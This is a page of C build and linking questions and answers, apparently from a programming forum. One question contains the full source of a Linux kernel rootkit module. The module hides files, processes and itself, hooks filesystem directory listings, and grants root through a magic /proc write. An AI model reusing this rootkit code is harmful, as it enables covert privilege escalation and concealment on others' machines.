Probleme to link my stub with newlib with arm-none-eabi-gcc - c

I'm trying to compile a small proof of work tath run lua code on the rasperry pi zero bare-metal.
All my object file and lua's have been compiled with similar options. I tried with and without the -nostdlib and -lc -lgcc but the output is the same.
Commande:
arm-none-eabi-gcc \
-mfpu=vfp -mfloat-abi=hard -march=armv6zk -mtune=arm1176jzf-s \
-g -O0 \
-Wl,-z,max-page-size=0x04,-T,linker.ld \
-nostdlib \
./lua/lua-5.4.4/src/lapi.o ./lua/lua-5.4.4/src/lauxlib.o ./lua/lua-5.4.4/src/lbaselib.o ./lua/lua-5.4.4/src/lcode.o ./lua/lua-5.4.4/src/lcorolib.o ./lua/lua-5.4.4/src/lctype.o ./lua/lua-5.4.4/src/ldblib.o ./lua/lua-5.4.4/src/ldebug.o ./lua/lua-5.4.4/src/ldo.o ./lua/lua-5.4.4/src/ldump.o ./lua/lua-5.4.4/src/lfunc.o ./lua/lua-5.4.4/src/lgc.o ./lua/lua-5.4.4/src/linit.o ./lua/lua-5.4.4/src/liolib.o ./lua/lua-5.4.4/src/llex.o ./lua/lua-5.4.4/src/lmathlib.o ./lua/lua-5.4.4/src/lmem.o ./lua/lua-5.4.4/src/loadlib.o ./lua/lua-5.4.4/src/lobject.o ./lua/lua-5.4.4/src/lopcodes.o ./lua/lua-5.4.4/src/loslib.o ./lua/lua-5.4.4/src/lparser.o ./lua/lua-5.4.4/src/lstate.o ./lua/lua-5.4.4/src/lstring.o ./lua/lua-5.4.4/src/lstrlib.o ./lua/lua-5.4.4/src/ltable.o ./lua/lua-5.4.4/src/ltablib.o ./lua/lua-5.4.4/src/ltm.o ./lua/lua-5.4.4/src/lundump.o ./lua/lua-5.4.4/src/lutf8lib.o ./lua/lua-5.4.4/src/lvm.o ./lua/lua-5.4.4/src/lzio.o \
./.build/startup.o ./.build/start.o ./.build/main.o ./.build/bootstrap.lua.o ./.build/0stubs.o \
-lc \
-lgcc \
-lm
Output:
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-fstatr.o): in function `_fstat_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/fstatr.c:55: undefined reference to `_fstat'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-openr.o): in function `_open_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/openr.c:50: undefined reference to `_open'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-timesr.o): in function `_times_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/timesr.c:52: undefined reference to `_times'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-unlinkr.o): in function `_unlink_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/unlinkr.c:47: undefined reference to `_unlink'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-writer.o): in function `_write_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/writer.c:49: undefined reference to `_write'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-closer.o): in function `_close_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/closer.c:47: undefined reference to `_close'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-gettimeofdayr.o): in function `_gettimeofday_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/gettimeofdayr.c:62: undefined reference to `_gettimeofday'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-isattyr.o): in function `_isatty_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/isattyr.c:52: undefined reference to `_isatty'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-linkr.o): in function `_link_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/linkr.c:53: undefined reference to `_link'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-lseekr.o): in function `_lseek_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/lseekr.c:49: undefined reference to `_lseek'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-readr.o): in function `_read_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/readr.c:49: undefined reference to `_read'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-signalr.o): in function `_kill_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/signalr.c:53: undefined reference to `_kill'
/usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/bin/ld: /usr/lib/gcc/arm-none-eabi/9.2.1/../../../arm-none-eabi/lib/arm/v5te/hard/libc.a(lib_a-signalr.o): in function `_getpid_r':
/build/newlib-wFsRXh/newlib-3.3.0/build/arm-none-eabi/arm/v5te/hard/newlib/libc/reent/../../../../../../../../newlib/libc/reent/signalr.c:83: undefined reference to `_getpid'
My 0stubs.c file:
#include <sys/stat.h>
/* A helper function written in assembler to aid us in allocating memory */
extern caddr_t _get_stack_pointer(void);
/* Increase program data space. As malloc and related functions depend on this,
it is useful to have a working implementation. The following suffices for a
standalone system; it exploits the symbol _end automatically defined by the
GNU linker. */
caddr_t _sbrk( int incr )
{
extern char _end;
static char* heap_end = 0;
char* prev_heap_end;
if( heap_end == 0 )
heap_end = &_end;
prev_heap_end = heap_end;
heap_end += incr;
return (caddr_t)prev_heap_end;
}
int close(int file) {
return -1;
}
char *__env[1] = { 0 };
char **environ = __env;
#include <errno.h>
#undef errno
extern int errno;
int execve(char *name, char **argv, char **env) {
errno = ENOMEM;
return -1;
}
int fork(void) {
errno = EAGAIN;
return -1;
}
int kill(int pid, int sig) {
errno = EINVAL;
return -1;
}
int link(char *old, char *new) {
errno = EMLINK;
return -1;
}
int fstat(int file, struct stat *st) {
st->st_mode = S_IFCHR;
return 0;
}
int getpid(void) {
return 1;
}
int isatty(int file) {
return 1;
}
int lseek(int file, int ptr, int dir) {
return 0;
}
int open(const char *name, int flags, int mode) {
return -1;
}
int read(int file, char *ptr, int len) {
return 0;
}
int times(struct tms *buf) {
return -1;
}
int unlink(char *name) {
errno = ENOENT;
return -1;
}
int wait(int *status) {
errno = ECHILD;
return -1;
}
int write(int file, char *ptr, int len) {
int todo;
for (todo = 0; todo < len; todo++) {
//outbyte (*ptr++);
}
return len;
}
void abort(void){
while(1){}
}
void exit(int status){
while(1){}
}

Related

trouble with the ncurses library

i am trying to get continuous keyboard input in c and have tried following the answer found here. however, i am getting undefined reference errors when using ncurses functions.
my code:
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <ncurses.h>
typedef struct
{
int fps;
int width;
int height;
int frame;
} window;
typedef struct
{
int x;
int y;
} position;
typedef struct
{
position pos;
} snake;
int kbhit(void)
{
int ch = getch();
if (ch != ERR)
{
ungetch(ch);
return 1;
}
else
{
return 0;
}
}
void draw(window win, snake s)
{
for (int i = -1; i <= win.height; i++)
{
for (int j = -1; j <= win.width; j++)
{
if ((i == -1 || i == win.height) || (j == -1 || j == win.width))
{
printf("#");
}
else if (j == s.pos.x && i == s.pos.y)
{
printf("O");
}
else
{
printf(" ");
}
}
printf("\n");
}
}
int main()
{
printf("Welcome to the Snake Game\n");
sleep(3);
window win = {1, 20, 10, 0};
snake s = {{19, 9}};
int key_code;
initscr();
cbreak();
noecho();
nodelay(stdscr, TRUE);
scrollok(stdscr, TRUE);
while (true)
{
printf("\e[1;1H\e[2J");
printf("%d\n", win.frame);
draw(win, s);
if (kbhit())
{
key_code = getch();
printf("%d", key_code);
}
usleep((int)((1.0 / win.fps) * 1000) * 1000);
win.frame++;
}
return 0;
}
output:
/usr/bin/ld: /tmp/ccZ2eIK1.o: in function `kbhit':
game.c:(.text+0xf): undefined reference to `stdscr'
/usr/bin/ld: game.c:(.text+0x17): undefined reference to `wgetch'
/usr/bin/ld: game.c:(.text+0x2a): undefined reference to `ungetch'
/usr/bin/ld: /tmp/ccZ2eIK1.o: in function `main':
game.c:(.text+0x136): undefined reference to `initscr'
/usr/bin/ld: game.c:(.text+0x13b): undefined reference to `cbreak'
/usr/bin/ld: game.c:(.text+0x140): undefined reference to `noecho'
/usr/bin/ld: game.c:(.text+0x147): undefined reference to `stdscr'
/usr/bin/ld: game.c:(.text+0x154): undefined reference to `nodelay'
/usr/bin/ld: game.c:(.text+0x15b): undefined reference to `stdscr'
/usr/bin/ld: game.c:(.text+0x168): undefined reference to `scrollok'
/usr/bin/ld: game.c:(.text+0x1b6): undefined reference to `stdscr'
/usr/bin/ld: game.c:(.text+0x1be): undefined reference to `wgetch'
collect2: error: ld returned 1 exit status
You must include the NCURSES library with the link. A portable way to do this is like this:
$ gcc -o game game.c $( pkg-config --cflags --libs mcurses )
Or just include the "-lncurses" library as mentioned previously.
On an RPM-based system, you'll need the ncurses-devel package installed on the build machine.

dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above

I am trying to follow an example rootkit given here https://github.com/ivyl/rootkit
I modified this example so that I can compile it on linux version 3.11.
I found that latest linux versions stopped supporting few API's such as create_proc_entry, readdir has been replaced by iterate etc.
On linux version is 3.11.0-23 I also observed that my include directories does not contain internal.h so as to have complete definition of proc_dir_entry. On lower versions on linux ( < 3.10 ) we are having definition for proc_dir_entry in proc_fs.h file.
The modified rootkit file looks like this:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//#include "fs/proc/internal.h"
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl#sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r#gmail.com>");
//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_iterate_orig)(struct file *, struct dir_context *);
static int (*fs_iterate_orig)(struct file *, struct dir_context *);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, pids_to_hide[i])) return 0;
}
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int proc_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
proc_filldir_orig = dir_ctx->actor;
return proc_iterate_orig(filp, dir_ctx);
}
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
fs_filldir_orig = dir_ctx->actor;
return fs_iterate_orig(filp, dir_ctx);
}
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size;
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
godisgreat - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
module_hide();
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
module_show();
}
return count;
}
//INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_iterate_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_orig;
set_addr_ro(proc_fops);
}
}
static void fs_clean(void)
{
if (fs_fops != NULL && fs_iterate_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_orig;
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = proc_create("rtkit", 0666, 0, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc iterate to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_iterate_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_new;
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void)
{
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute iterate of fs on which /etc is
fs_iterate_orig = fs_fops->iterate;
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_new;
set_addr_ro(fs_fops);
return 1;
}
//MODULE INIT/EXIT
static int __init rootkit_init(void)
{
if (!procfs_init() || !fs_init()) {
procfs_clean();
fs_clean();
return 1;
}
module_hide();
return 0;
}
static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
While trying to build the code I am getting error "dereferencing pointer to incomplete type" because compiler is unaware about the complete definition for proc_dif_entry.
/prj/Rootkit/example3# make
make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules
make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic'
CC [M] /prj/Rootkit/example3/rt.o
/prj/Rootkit/example3/rt.c: In function ‘procfs_init’:
/prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c: At top level:
/prj/Rootkit/example3/rt.c:84:12: warning: ‘proc_filldir_new’ defined but not used [-Wunused-function]
/prj/Rootkit/example3/rt.c:100:12: warning: ‘fs_filldir_new’ defined but not used [-Wunused-function]
make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1
make[1]: *** [_module_/prj/Rootkit/example3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic'
make: *** [default] Error 2
root#HP:/prj/Rootkit/example3# ^C
I am not sure how to proceed to resolve these errors.
Any Help !
Thanks,
-Hitesh.

C: Symbols not found for function defined in file?

I have a cryptic error, and a warning. The warning: integer initialized to pointer on assignment the other is symbol not found, referring to function popdepholder.
I believe they may somehow be related due to a phantom function that exists but can't be seen or something
header dependency.h:
#include "relation.h"
#include "strhelp.h"
#include <time.h>
#ifndef _DEPENDENCY_H
#define _DEPENDENCY_H
typedef struct fd {
RELATION *left;
RELATION *right;
RELATION *referring; } DEPENDENCY;
typedef struct dh {
DEPENDENCY *data;
struct dh *next;
struct dh *prev; } DEP_HOLDER;
DEP_HOLDER * popdepholer(DEP_HOLDER **top);
...
void removedepholderat(DEP_HOLDER **list,int dest);
...
DEP_HOLDER * popdepholer(DEP_HOLDER **top) ###this function is not being seen
{
DEP_HOLDER * remove = 0;
if(*top)
{
remove=(*top);
if(remove->prev)
{
if(remove->next) /*the middle case*/
{
remove->prev->next=remove->next;
remove->next->prev=remove->prev;
(*top)=(*top)->next;
}
else /*the bottom case*/
{
remove->prev->next=0;
*top=0;
}
}
else if((remove->next)&&!(remove->prev)) /*the top case*/
{
remove->next->prev=0;
(*top)=(*top)->next;
}
else /*the single case*/
{
*top = 0;
}
remove->prev=0;
remove->next=0;
}
else
{
printf("In popdepholder, passed a null pointer!\n");
exit(4);
}
return remove;
}
...
void removedepholderat(DEP_HOLDER **list,int dest)
{
DEP_HOLDER *holder = *list;
if(dest == 1) #here
{
DEP_HOLDER * r = popdepholder(list); #here
destroydepholder(&r);
}
else
{
while((holder) && (dest>1))
{
holder=holder->next;
dest--;
}
if((holder) && dest==1)
{
DEP_HOLDER * r = popdepholder(&holder); #here
destroydepholder(&r);
}
}
}
#endif
main.c:
#include "dependency.h"
DEP_HOLDER *mydp = getnewholder(d1);
...
DEP_HOLDER * a = popdepholder(&mydp);
error:
In file included from test-dependency.c:3:
dependency.h: In function ‘removedepholderat’:
dependency.h:332: warning: initialization makes pointer from integer without a cast
dependency.h:344: warning: initialization makes pointer from integer without a cast
test-dependency.c: In function ‘main’:
test-dependency.c:37: warning: initialization makes pointer from integer without a cast
Undefined symbols for architecture x86_64:
"_popdepholder", referenced from:
_removedepholderat in ccUGYlgF.o
_main in ccUGYlgF.o
ld: symbol(s) not found for architecture x86_64
collect2: ld returned 1 exit status
You've declared and defined popdepholer instead of popdepholder (missing the second d).
Perhaps you are attempting to link a 32-bit library into a 64-bit binary. Check that your makefile build process is linking in the correct library.

How to call a static function

I'm trying to call the following function
In daydream.c :
.....
static int create_new_account(void)
{
DDPut(sd[newucstr]);
switch (HotKey(HOT_NOYES)) {
case 1:
if (CreateNewAccount()) {
clog.cl_userid = user.user_account_id;
clog.cl_firstcall = user.user_firstcall;
clog.cl_logon = time(0);
if (user.user_connections == 0)
clog.cl_flags |= CL_NEWUSER;
clog.cl_bpsrate = bpsrate;
getin();
return 1;
}
return 0;
case 2:
DDPut("\n");
return 0;
default:
return 1;
}
}
From matrix.c:
int apply()
{
create_new_account();
}
However, it won't compile link:
matrix.o: In function `apply':
matrix.c:(.text+0xf0): undefined reference to `create_new_account'
collect2: error: ld returned 1 exit status
make: *** [daydream] Error 1
So, my question is, how do I call this function properly?
You must not know what the keyword static means. static keeps create_new_account global to daydream.c only. Nobody else can access it. If you want other functions to access it:
Remove the keyword static and extern this function into matrix.c.
Option 1:
/* daydream.c */
int create_new_account(void)
{
...
}
/* matrix.c */
extern create_new_account(void);
Option 2:
/* daydream.c */
int create_new_account(void)
{
....
}
/* daydream.h */
extern int create_new_account(void);
/* matrix.c */
#include "daydream.h"
Create a external wrapper function to call that in turn calls your static function.
/* daydream.c */
static int create_new_account(void)
{
...
}
int create_new_account_wrapper(void)
{
return create_new_account();
}
/* matrix.c */
int apply(void)
{
return create_new_account_wrapper();
}
My preference is answer 1, option 2.

libtomcrypt usage benchmarking

I wanted to compare AES algorithm performance from libtomcrypt in Windows and Ubuntu by creating a benchmark-like file, but I have got errors while coding it. Please help me. Below is my file for comparing:
Compare.c:
`#include <time.h> `
#include <tomcrypt.h>
#define MIN_TIME 10.0
#define MIN_ITERS 20 `
double test_rijndael_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey) {
int iterations = 0;
clock_t start;
double elapsed=0.0;
int out;
start=clock();
do{
out = rijndael_ecb_encrypt(pt, ct, skey);
iterations++;
elapsed=(clock()-start)/(double)CLOCKS_PER_SEC;
} while(elapsed<MIN_TIME || iterations<MIN_ITERS);
elapsed=1000.0*elapsed/iterations;
printf("%s \n",pt);
printf("%s \n",skey->data);
printf("%s \n",ct);
printf("iterations: %8d \n",iterations);
printf("%8.2lf ms per iteration \n",elapsed);
printf("out: %d \n",out);
return elapsed;
}
int main() {
unsigned char pt[22]="-K4)<i50~'APg2fa7DiV";
unsigned char ct[22];
unsigned char key[16]="EDB1C6D13FC72";
symmetric_key *skey;
int err;
double tout1;
printf("%x",sizeof(pt));
printf("%l",sizeof(key));
if((err=rijndael_setup(key,16,0,skey))!=CRYPT_OK) {
printf("%s",error_to_string(err));
return -1;
}
tout1=test_rijndael_ecb_encrypt(pt,ct,skey);
printf("%s \n",ct);
printf("%f",tout1);
return 0;
}
But when I compile this it shows runtime errors as:
gcc -o "TestC" ./src/TestC.o
./src/TestC.o: In function `test_rijndael_ecb_encrypt':
/home/anvesh/workspace/TestC/Debug/../src/TestC.c:27: undefined reference to `rijndael_ecb_encrypt'
./src/TestC.o: In function `test_rijndael_ecb_decrypt':
/home/anvesh/workspace/TestC/Debug/../src/TestC.c:53: undefined reference to `rijndael_ecb_decrypt'
./src/TestC.o: In function `main':
/home/anvesh/workspace/TestC/Debug/../src/TestC.c:82: undefined reference to `rijndael_setup'
/home/anvesh/workspace/TestC/Debug/../src/TestC.c:83: undefined reference to `error_to_string'
collect2: error: ld returned 1 exit status
make: *** [TestC] Error 1
Where did I go wrong?
You forgot to link with tomcrypt library. Compile with -ltomcrypt to link the library:
gcc file.c -ltomcrypt

Resources